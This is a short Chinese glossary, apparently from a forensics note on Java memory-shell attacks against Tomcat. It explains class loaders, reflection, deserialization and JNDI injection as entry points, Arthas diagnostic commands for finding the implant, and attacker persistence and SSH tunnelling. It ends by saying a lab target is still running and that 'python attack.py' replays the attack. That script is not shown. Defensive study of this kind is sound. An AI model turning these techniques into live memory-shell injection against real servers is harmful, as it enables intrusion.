    web.xml应用的配置文件,正常 Filter 都在这里注册
    StandardContextTomcat 内部管理一个应用所有组件(Filter/Servlet)的对象
    ClassLoader类加载器,负责把 class 字节码加载进内存
    URLClassLoader能从网络 URL 加载字节码的类加载器(内存马攻击的入口)
    反射(Reflection)运行时用字符串动态操作类/字段/方法的技术
    反序列化漏洞程序把外部数据还原成对象时执行了恶意代码(内存马常见入口)
    JNDI 注入程序按攻击者指定的地址加载远程对象(Log4Shell 就是它)
    Arthas阿里开源 Java 在线诊断工具,本次取证核心工具
    jadArthas 的反编译命令(字节码 → Java 源码)
    dumpArthas 的导出命令(内存类 → 文件)
    vmtoolArthas 查看 JVM 对象实例的命令
    持久化攻击者让后门”重启也不消失”的手段(改jar/启动参数/计划任务)
    RASP运行时的应用自我保护(能检测内存马的防护产品类型)
    SSH 隧道用 SSH 加密连接转发端口流量(攻击者用它隐藏来源/内网穿透)

    本笔记所有命令与输出均来自 2026-08-04 真实演练环境,可直接复现。 复现方式:ECS 上靶机仍在运行(8080 端口),本地执行 python attack.py 即可重打全流程。